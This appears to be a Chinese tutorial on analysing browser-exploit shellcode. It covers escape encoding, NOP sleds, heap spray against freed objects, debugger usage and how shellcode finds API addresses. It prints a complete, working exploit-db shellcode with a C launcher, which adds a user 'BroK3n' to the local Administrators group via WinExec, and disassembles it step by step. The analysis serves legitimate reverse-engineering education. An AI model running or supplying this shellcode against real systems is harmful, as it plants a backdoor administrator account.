本文V.1,V.2兩節也將盡量只從腳本的角度來解釋部分內容,第三部分將從實例中簡單總結一下通用SHELLCODE的實現方法。 下一章腳本先鋒IV中,將介紹簡單的shellcode分析方式。至于與其他系統安全機制結合起來的內容,“腳本先鋒”系列中暫時就不提了,而將留在后續章節中介紹。
shellcode本是指獲得一個shell的代碼,也或者是達到特定目的的代碼,網馬中利用IE漏洞的“Shellcode”一詞,大多數就是指這樣的代碼集合
圖:PE文件中字節和對應的反匯編語句
誠如所見,如果要通過機器碼實行一段有意義的操作,代碼中很可能會包含非可打印字符、擴展字符。其中,特別是擴展字符可能因為用戶機器語言環境不同產生歧義。如下圖,如果采用明文的方式,4個字節的內容在用戶機器上長度會被判斷為3(中文系統默認設置為例),這會導致在鋪設shellcode時長度無法準確計算,在利用漏洞時會產生大量的不便。
因此在布置shellcode時通常都會將其escape編碼。escape很簡單,也即將字符重新改為字符的ASCII值的十六進制形式,并加上百分號。
Unescape能解開的數據有多種形式,常見的為:
%XX
,XX為字符的ASCII值;
%uAABB
,AABB
為unicode字符的ASCII值,如果要把這個結果當成多字節數據來處理時,此時相當于%BB%AA;
以下并不算嚴格的“解開”,但是也算是一種編碼格式,因此也包含進去了:
\OO
、\xHH
,最普通的字符串轉義形式,即類C語法中的\轉義符號(最常見的比如\n
、\r
、\0
);
\uAABB,同%u。
escape不會對字母和數字進行編碼,也不會對* @ - _ + . /
這些字符編碼。其他所有的字符都會被轉義序列替換。
unesacpe則會對所有的符合上述“能解開”的內容進行解碼。
例如字符”|”,其ASCII值為124 (0x7c),經過ESCAPE編碼之后則為%7C
。
在網馬中還會出現一個名詞,這里單獨介紹一下:
NOP sled
(或者slide,slice): 指不會對代碼執行產生太大影響的內容。或者至少是對要執行的shellcode不會影響太大的內容。
例如:
·nop
(0x90
,但是噴射起來可能不是多方便,畢竟如果是想要覆蓋某些對象的虛表,那么0x90909090
這個地址必然是個不可能完成的任務,因為這個已經是內核態地址了,如果只是普通的緩沖區溢出使用這個也未嘗不可)
·or al
,0c
(0x0c0c
, 2字節的sled,比較方便也極為常見,即使一路噴過去,最理想情況所需內存也不過160M而已,雖然實際肯定會大一些)
·or eax
,0d0d0d0d
(0x0d 0x0d0d0d0d
,5字節,可能導致對齊問題,但是由于不常見也不一定會被內存檢測工具檢測到),等等。
通過內存噴射覆蓋某個已經釋放了的對象后,該對象的內存看起來會像:
圖:變量0x35fb03是某個class,free后該class的內存重新被nop sled占據,當該對象內的成員函數被重新使用時,EIP將變為0x0c0c0c0c+offset
。
而0c0c0c0c處,則安排著有我們的shellcode,當然上面這個只是演示,所以放了一堆A在里面。
由于0x0c0c只是會操作eax,一般不會產生什么大影響,所以就可以任由它這么覆蓋下去,而由于它是2個字節的,所以相比非主流的0x0d對齊時“性價比”比較好。
圖:在Visual Studio 2008中模擬堆噴覆蓋一個已釋放的類的虛表
如果你也要做類似簡單的試驗,建議不要在2011之后的Visual Studio中去做,在這里面會變得比較麻煩,2011中delete操作刪除一個對象后,該對象的地址會被置為0x8123
。導致難以復現上述現象。
至于0x8123
這個值也許之后可能大家會在分析其他軟件的時候發現,簡單介紹一下微軟的做法:
微軟在VS11 Beta中引入了這個功能,使用0x8123
來解決UAF的問題,它的處理方案是相當于將原來的:
#!c++
delete p;
一句話給擴展為:
#!c++
delete p;
(void*)p = (void*)0x00008123;
兩句。
而通常,程序員所寫的正確的釋放過程應當為
#!c++
delete p; p = NULL;
經過插入后變為了
#!c++
delete p; (void*)p = (void*)0x00008123; p = NULL;
三句。
在編譯器眼里,這三句中,由于后兩句都是給同一個變量賦常量值,因而又會被自動優化為兩句
#!c++
delete p; p=NULL;
看到了吧,如果正確釋放,VS插入的這句不會影響最終生成結果,而如果程序員忘記了p=NULL一句,最終結果將變為:
#!c++
delete p; (void*)p = (void*)0x00008123;
而0x00008123
位于Zero Pages(第0~15頁,地址范圍0x0~ 0x0000FFFF
)中,因而如果被訪問到會導致程序觸發存取違例,因而這個地址可以被視為安全的。相對于更加頻繁出現的訪問0x00000000
造成的空指針引用崩潰,如果程序員看到程序是訪問了0x00008123
崩潰了,那么立馬就應該知道是發生了釋放后引用的問題。這里的內容具體可參考(1]。
Javascript堆噴的詳細內容具體可以參考《Heap fengshui in Javascript》一文。(2]之后的章節中我們也會介紹。
針對二進制數據的調試,常見的工具有OllyDbg、Windbg、IDA等等。個人習慣使用Windbg+IDA,二者的功能都相當強悍,當然,OllyDbg由于界面多彩,動態調試的時候也是可以大幅提高工作效率的。
現在大致介紹一下這三個工具的最簡單功能,參考資料(3]有一些相關書目,如果有興趣的話可以參考一下這些書。
聲明:以下工具限于使用時長和環境等因素,介紹可能帶有個人的感情色彩,僅供參考,請根據需要自行選擇適合的工具。 OllyDbg:下載地址http://ollydbg.de ,Win7 建議使用OD2。
OD支持插件,在無插件情況下,OD支持解析DLL的導出函數,設置Use Microsoft Symbol Server=1將從微軟的Symbol服務器下載符號,但是似乎并不一定能解析成功,而且不支持顯示從一個系統函數開始的偏移(但是點擊地址行,可以轉為$+X這樣的相對地址),例如上圖中ntdll.77279f72,在Windbg中能解析成如下可能的名稱范圍:
但是OD中只能顯示成地址。
該地址實際屬于ntdll!__RtlUserThreadStart
,在Windbg中可以方便的看出來:
OD中Ctrl+G也不能顯示偏移,跳轉過去以后也不知道函數名:
OD會自動給你停在函數入口點(如果設置里面有這么設置的話),Windbg和IDA默認則不會。而且OD的著色系統應該是這三者中最清晰的了,調試操作為:
F7:步入(Step-in),即如果當前語句是call ADDRESS的時候,按下F7后光標會停在該函數(ADDRESS)內;
F8:步過(Step-over),運行到下一條語句,如果當前語句是call ADDRESS,按下F8后會等這個函數執行完成,然后停在call ADDRESS后面一條的語句處;
F2:設置斷點,有斷點的地方會顯示紅色:
調試斷點(int3)會讓語句在執行到斷點處時拋出異常,調試器收到之后就可以停在那條語句上了。這在調試一個LOOP的時候非常有用,畢竟,如果一個LOOP要循環999次,你可不會想F8 999次吧,這時只需在LOOP外設置斷點,然后運行程序即可。
F9:執行程序,可以配合F2用;執行的時候程序就跑起來了,不出意外不會停止的,所以如果在調試惡意代碼請注意不要隨意的用這個命令;
Ctrl+F9:執行到返回。執行到當前函數的RETN為止;
F4:相當于F2+F9,先下斷點再執行;如果你的斷點是死代碼(任何分支都不會走到上面去,那程序就跑起來了,也就是俗稱的跑飛了);
例如偽代碼:
#!bash
IF (1)
DO SOMETHING
ELSE
DO OTHER THING //DEAD
Windbg:Windbg跟隨著微軟的WDK而來,可以在安裝WDK時一并選上安裝,同時也可以單獨下載,具體的百度一下即可。Windbg分為32、64位版本,建議都裝上。
Windbg是文字界面,也許剛開始有些人會不適應,但是如果你用多了,你會發現這個東西真的是一個神器。
以下是常用命令:
.symfix
以及 .reload
。 設置符號文件為默認的微軟符號服務器,然后重新載入符號,這時,如果有對應符號,之前顯示地址的內容就會顯示成函數名,看起來十分方便。
如果有私有符號和源代碼,可以通過.sympath+
和.reload
來載入,這時可以同時對比源代碼調試,在應付程序崩潰時非常有用。
p,步過。
t,步入。
g,執行。
pct,執行到下一個call或者ret。
k,顯示棧回溯。
kvn,顯示棧回溯,包括參數等信息。
~*k,顯示所有線程的棧回溯。
!analyze -v,分析崩潰原因(崩潰時用)。
bp,設置斷點。
bc,清除斷點。
bl,顯示斷點。
具體的也可以參考Windbg的幫助文檔。
IDA:IDA是一個非常有用的靜態動態分析工具,它的靜態分析支持顯示函數的結構:
同時,插件可以支持生成偽代碼(但是并不一定完全正確,僅供參考):
同時其對微軟的符號也支持的相當不錯,要打開符號支持,編輯cfg/pdb.cfg
即可指定符號服務器。如果之前沒有設置,IDA最初可能還會提示你使用微軟的符號服務器,所以可以不必太在意。
IDA的動態調試功能支持bochs、win32 debugger、gdb、windbg:
Bochs debugger需要bochs安裝,然后IDA會使用bochsdbg.exe來完成動態調試。
★IDA里如果你不設置斷點就運行,程序是會直接跑起來的,不會停在任何地方,請注意!
Win32 debugger為例,操作大致同OD
F2在WinMain設置斷點,然后運行:
F8,步過。
F7,步入。
F9,運行。
F4,斷點并運行,相當于F2+F9。
可以看得出來,按鍵幾乎一致,不過它的符號支持要比OD強,加載了微軟符號后甚至顯示了各個Offset對應的含義:
而在od中結果替換掉的還是偏少:
而且,IDA中很多強悍功能都絕不足以在一節內概括說清楚,具體請參閱參考資料(2]。
解密-獲取下載地址,通過工具
在介紹完上述基本概念之后,我們再來介紹一下常量和變量的概念,這些簡單的概念將有助于我們了解最簡單的shellcode“解密”流程。
首先,常量,在編程語言中指不會變的量(雖然只要你想讓它變它完全可以變),這里特指預設量,或者字面值。(英文是literal value,國內的書啊啥的都這么翻譯,所以我也這么寫了)。
簡單的說,比如你要調用函數:WinExec(“cmd.exe”, 1);
stdcall的WinExec參數壓棧順序如下:首先壓入最后一個參數1,然后壓入倒數第二個參數”cmd.exe”。當然,這里壓入的是它的地址。
匯編代碼類似于:
PUSH 1
PUSH ADDRESS_OF_CMD.EXE
CALL WinExec
而這個ADDRESS_OF_CMD.EXE則就是指向內存中已經存放好的字符串”cmd.exe”的了。
如果不能理解,可以參考下圖:
請看,假設這片內存的初始地址是0x00000000
(實際Win32并不可能,不過這里只是演示,不必在意),那么CMD.EXE
字符串的位置實際上是0x00000030
。
那么上述調用WinExec的代碼,如果也可以訪問這片內存,那么它的代碼就可以是:
PUSH 1
PUSH 0x00000030
CALL WinExec
網馬中WinExec是一個常用的函數,因為相對于ShellExecute
、CreateProcess
來說,它的代碼更簡短,當然這也造成了它更容易被檢測查殺。 其他的函數還有URLDownloadToFileA/W
,這是一個HTML成功溢出或者破壞瀏覽器內存之后首要要做的就是將木馬EXE運行起來。而要保證Shellcode的長度,顯然從服務器下載木馬是最簡單可行的。(我也見過直接WriteFile把木馬寫到硬盤上的,不過那段Shellcode簡直大到令人發指。)
而URLDownloadToFile
的第二個參數就是URL,因此這個URL極有可能也是明文存在SHELLCODE中的,找到這個地址無非對安全研究者比較重要,這對分析網馬的完整危害有較大作用。
所以,讓我們回到腳本,觀察下列代碼
閱讀代碼很容易就可以知道SC為最終處理完的Shellcode。
將SC輸出,在瀏覽器中執行一下:
即可拿到解密后的shellcode,簡單的看一下,代碼中出現了大量的重復內容:E2,而直接將內容Unescape也沒有看到像樣的明文,這時可以經驗得出,這段代碼是被XOR加密過的,因此可以在工具中填入密鑰e2,然后解開即可看到常量部分,這個就是這段代碼想要下載的文件
這段代碼的調試放到下章再說,不過并不難,而且這個URL也失效了,所以你也大可參照下一節(V.3)的相關內容,如果覺得一切合適了,可以放心大膽的調試。
最后,簡單介紹一下大家可能會比較在意的內容,這也是SHELLCODE編寫的一個必備條件之一,即shellcode如何獲得函數地址,更甚之,shellcode如何通用化呢?
先說一下如何手動獲得一個系統函數的地址。
圖:Dependency Walker
顯示的ShellExecuteA
導出函數的偏移量。用該值加上DLL的 Image Base
即可得到本機適用的函數地址(無ASLR情況下)。
圖:shell32.dll (32bit, 6.1.7601.18762)的Image Base
如上圖,無ASLR的環境下,該函數的地址是0x73800000 + 0x247bcd = 0x73a47bcd
。
圖:TencentDl.exe (32 bit)中的函數地址和模塊起始地址。
0x75547bcd - 0x247bcd = 0x75300000 =>
該模塊當前的Image Base,這個值不同于文件聲明的值的原因是開啟了ASLR。
可以試驗一下,ShellExecuteExA
的偏移是0x247b32
,則0x75300000+0x247b32=0x75547b32
應該是該函數地址,查閱可知確實如此:
但是除了上面的ASLR的情況,微軟的庫函數的地址自己也會隨著系統變化、補丁更新等會發生變化,因此,硬編碼一個地址必然是不行的,那么作為一個網馬,如何才能做到讓shellcode獲取所需API的地址呢?
讓我們參考一下exploit-db.com提供的shellcode (3]:
#!c++
char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"
"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"
"\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"
"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"
"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"
"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"
"\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"
"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"
"\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"
"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7";
int main(int argc, char **argv){int (*f)();f = (int (*)())shellcode;(int)(*f)();}
作者(Giuseppe D'Amore)提供了以上的代碼供檢驗(代碼來源:https://www.exploit-db.com/exploits/33836/)。作用是在所有系統下添加一個用戶,效果如下:
圖:同一個代碼在x86 XP SP3、x64 Win7 SP1下均成功地添加了用戶BroK3n。
具體是怎么實現的呢,可以手動編譯一下上述C++程序,也可以通過工具來生成一個EXE測試:
圖:去除無效字符-生成EXE即可生成調試用程序
附:提取出來的ASCII值
#!bash
31d2b230648b128b520c8b521c8b42088b72208b12807e0c3375f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e57696e4575f28b7a2401c7668b2c6f8b7a1c01c78b7caffc01c7684b336e01682042726f682f414444686f727320687472617468696e6973682041646d68726f75706863616c676874206c6f6826206e656844442026686e202f4168726f4b3368336e20426842726f4b68736572206865742075682f63206e686578652068636d642e89e5fe4d5331c05055ffd7
讓我們看一下反匯編后的結果:
#!bash
0:000> uf image00400000+0x5000
Flow analysis was incomplete, some code may be missing
image00400000+0x5000:
00405000 31d2 xor edx,edx
00405002 b230 mov dl,30h
00405004 648b12 mov edx,dword ptr fs:[edx]
00405007 8b520c mov edx,dword ptr [edx+0Ch]
0040500a 8b521c mov edx,dword ptr [edx+1Ch]
image00400000+0x500d:
0040500d 8b4208 mov eax,dword ptr [edx+8]
00405010 8b7220 mov esi,dword ptr [edx+20h]
00405013 8b12 mov edx,dword ptr [edx]
00405015 807e0c33 cmp byte ptr [esi+0Ch],33h
00405019 75f2 jne image00400000+0x500d (0040500d)
image00400000+0x501b:
0040501b 89c7 mov edi,eax
0040501d 03783c add edi,dword ptr [eax+3Ch]
00405020 8b5778 mov edx,dword ptr [edi+78h]
00405023 01c2 add edx,eax
00405025 8b7a20 mov edi,dword ptr [edx+20h]
00405028 01c7 add edi,eax
0040502a 31ed xor ebp,ebp
image00400000+0x502c:
0040502c 8b34af mov esi,dword ptr [edi+ebp*4]
0040502f 01c6 add esi,eax
00405031 45 inc ebp
00405032 813e57696e45 cmp dword ptr [esi],456E6957h
00405038 75f2 jne image00400000+0x502c (0040502c)
image00400000+0x503a:
0040503a 8b7a24 mov edi,dword ptr [edx+24h]
0040503d 01c7 add edi,eax
0040503f 668b2c6f mov bp,word ptr [edi+ebp*2]
00405043 8b7a1c mov edi,dword ptr [edx+1Ch]
00405046 01c7 add edi,eax
00405048 8b7caffc mov edi,dword ptr [edi+ebp*4-4]
0040504c 01c7 add edi,eax
0040504e 684b336e01 push 16E334Bh
00405053 682042726f push 6F724220h
00405058 682f414444 push 4444412Fh
0040505d 686f727320 push 2073726Fh
00405062 6874726174 push 74617274h
00405067 68696e6973 push 73696E69h
0040506c 682041646d push 6D644120h
00405071 68726f7570 push 70756F72h
00405076 6863616c67 push 676C6163h
0040507b 6874206c6f push 6F6C2074h
00405080 6826206e65 push 656E2026h
00405085 6844442026 push 26204444h
0040508a 686e202f41 push 412F206Eh
0040508f 68726f4b33 push 334B6F72h
00405094 68336e2042 push 42206E33h
00405099 6842726f4b push 4B6F7242h
0040509e 6873657220 push 20726573h
004050a3 6865742075 push 75207465h
004050a8 682f63206e push 6E20632Fh
004050ad 6865786520 push 20657865h
004050b2 68636d642e push 2E646D63h
004050b7 89e5 mov ebp,esp
004050b9 fe4d53 dec byte ptr [ebp+53h]
004050bc 31c0 xor eax,eax
004050be 50 push eax
004050bf 55 push ebp
004050c0 ffd7 call edi
針對代碼的分析還是老樣子,遵循按塊來的原則。另外,如果目前為止你對閱讀匯編代碼還比較吃力,你也可以只看文字部分,了解個大概即可,之后還會詳細說這塊的內容的:
#!bash
image00400000+0x5000:
00405000 31d2 xor edx,edx
00405002 b230 mov dl,30h
00405004 648b12 mov edx,dword ptr fs:[edx]
00405007 8b520c mov edx,dword ptr [edx+0Ch]
0040500a 8b521c mov edx,dword ptr [edx+1Ch]
image00400000+0x500d:
0040500d 8b4208 mov eax,dword ptr [edx+8]
00405010 8b7220 mov esi,dword ptr [edx+20h]
00405013 8b12 mov edx,dword ptr [edx]
00405015 807e0c33 cmp byte ptr [esi+0Ch],33h
00405019 75f2 jne image00400000+0x500d (0040500d)
這個循環所做的事情是:獲取kernel32.dll
的基址。
為何這段代碼可以做到這點呢?
#!bash
00405000 31d2 xor edx,edx
00405002 b230 mov dl,30h
00405004 648b12 mov edx,dword ptr fs:[edx]
相當于mov edx, dword ptr fs:[0x30]
,但是如果直接這么寫會在里面混入NULLCHAR,(MOV EDX,DWORD PTR FS:[30]
的機器碼是 64 8B15 30000000)
,有損通用性,所以作者使用了這個方式。FS:[0x30]
存放著PEB指針,因此這段代碼執行后,edx即為PEB的指針。
#!c++
00405007 8b520c mov edx,dword ptr [edx+0Ch]
0040500a 8b521c mov edx,dword ptr [edx+1Ch]
這兩行代碼的作用是獲取InInitializationOrderModuleList
的地址。這個里面存放著PE載入時初始化用到的模塊信息。
具體看一下PEB的結構就知道
#!c++
dt _PEB
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 BitField : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 IsProtectedProcess : Pos 1, 1 Bit
+0x003 IsLegacyProcess : Pos 2, 1 Bit
+0x003 IsImageDynamicallyRelocated : Pos 3, 1 Bit
+0x003 SkipPatchingUser32Forwarders : Pos 4, 1 Bit
+0x003 SpareBits : Pos 5, 3 Bits
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr : Ptr32 _PEB_LDR_DATA
+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
可見第一句獲取了_PEB_LDR_DATA
的指針,然后第二句就拿到了InInitializationOrderModuleList
。
#!c++
dt _PEB_LDR_DATA
ntdll!_PEB_LDR_DATA
+0x000 Length : Uint4B
+0x004 Initialized : UChar
+0x008 SsHandle : Ptr32 Void
+0x00c InLoadOrderModuleList : _LIST_ENTRY
+0x014 InMemoryOrderModuleList : _LIST_ENTRY
+0x01c InInitializationOrderModuleList : _LIST_ENTRY
+0x024 EntryInProgress : Ptr32 Void
+0x028 ShutdownInProgress : UChar
+0x02c ShutdownThreadId : Ptr32 Void
可以看到
這個鏈表中就存著模塊地址
#!bash
image00400000+0x500d:
0040500d 8b4208 mov eax,dword ptr [edx+8]
00405010 8b7220 mov esi,dword ptr [edx+20h]
00405013 8b12 mov edx,dword ptr [edx]
00405015 807e0c33 cmp byte ptr [esi+0Ch],33h
00405019 75f2 jne image00400000+0x500d (0040500d)
所以上述代碼就在不斷尋找kernel32.dll
的地址,edx+8
就是地址,edx+20h
則為函數名字,ASCII 0x33
是字符”3”,因此它在比較第7個字(0xC == 12 (dec))
是否為“3”,因為這些按順序加載的模塊也就kernel32
在第七個字上是3了,所以這個還是比較準的。
接著,找到所需的導出函數: image00400000+0x501b: 0040501b 89c7 mov edi,eax 0040501d 03783c add edi,dword ptr [eax+3Ch] 00405020 8b5778 mov edx,dword ptr [edi+78h] 00405023 01c2 add edx,eax 00405025 8b7a20 mov edi,dword ptr [edx+20h] 00405028 01c7 add edi,eax 0040502a 31ed xor ebp,ebp
也就是上述代碼所干的事情,找到kernel32地址之后,+0x3C
就是PE頭,PEHEADER處+0x78
的地方是導出表的指針,導出表指針+0x20
處是導出函數名的列表,教科書一樣的操作。
#!bash
image00400000+0x502c:
0040502c 8b34af mov esi,dword ptr [edi+ebp*4]
0040502f 01c6 add esi,eax
00405031 45 inc ebp
00405032 813e57696e45 cmp dword ptr [esi],456E6957h
00405038 75f2 jne image00400000+0x502c (0040502c)
然后,只要找到所需函數即可,這里作者需要的是包含0x456e6957
的函數,
事實上很簡單就能猜到作者想要的是WinExec。
#!bash
image00400000+0x503a:
0040503a 8b7a24 mov edi,dword ptr [edx+24h]
0040503d 01c7 add edi,eax
0040503f 668b2c6f mov bp,word ptr [edi+ebp*2]
00405043 8b7a1c mov edi,dword ptr [edx+1Ch]
00405046 01c7 add edi,eax
00405048 8b7caffc mov edi,dword ptr [edi+ebp*4-4]
0040504c 01c7 add edi,eax
事實上這里作者就計算出了函數的偏移+模塊地址=函數地址,還記得半頁紙前我說的“笨”計算方法吧。
#!bash
0040504e 684b336e01 push 16E334Bh
00405053 682042726f push 6F724220h
00405058 682f414444 push 4444412Fh
0040505d 686f727320 push 2073726Fh
00405062 6874726174 push 74617274h
00405067 68696e6973 push 73696E69h
…………
這一些就是之前所說的“常量”部分,
執行一下看看esp上存了啥吧,這樣就一目了然了。最終,作者call esi,調用WinExec啟動cmd,這樣就添加上了用戶。可惜作者沒處理ExitProcess,最終程序的環境被弄得一塌糊涂,免不了崩潰收場。但是作者的目的達到了,用戶都加上了,崩潰也無妨。
(1] http://blogs.microsoft.com/cybertrust/2012/04/24/guarding-against-re-use-of-stale-object-references/
(2] heap fengshui in javascript: https://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf
(3] 《Windows高級調試》(Windbg)、《IDA Pro權威指南》(IDA)、《逆向工程核心原理》部分章節(OllyDbg,內容非常基礎向,并沒有書名看起來那么高深:))
(4] https://www.exploit-db.com/shellcode/
(5] 文中提到的相關惡意代碼下載,密碼 drops.wooyun.org,請在虛擬環境調試。 Downloads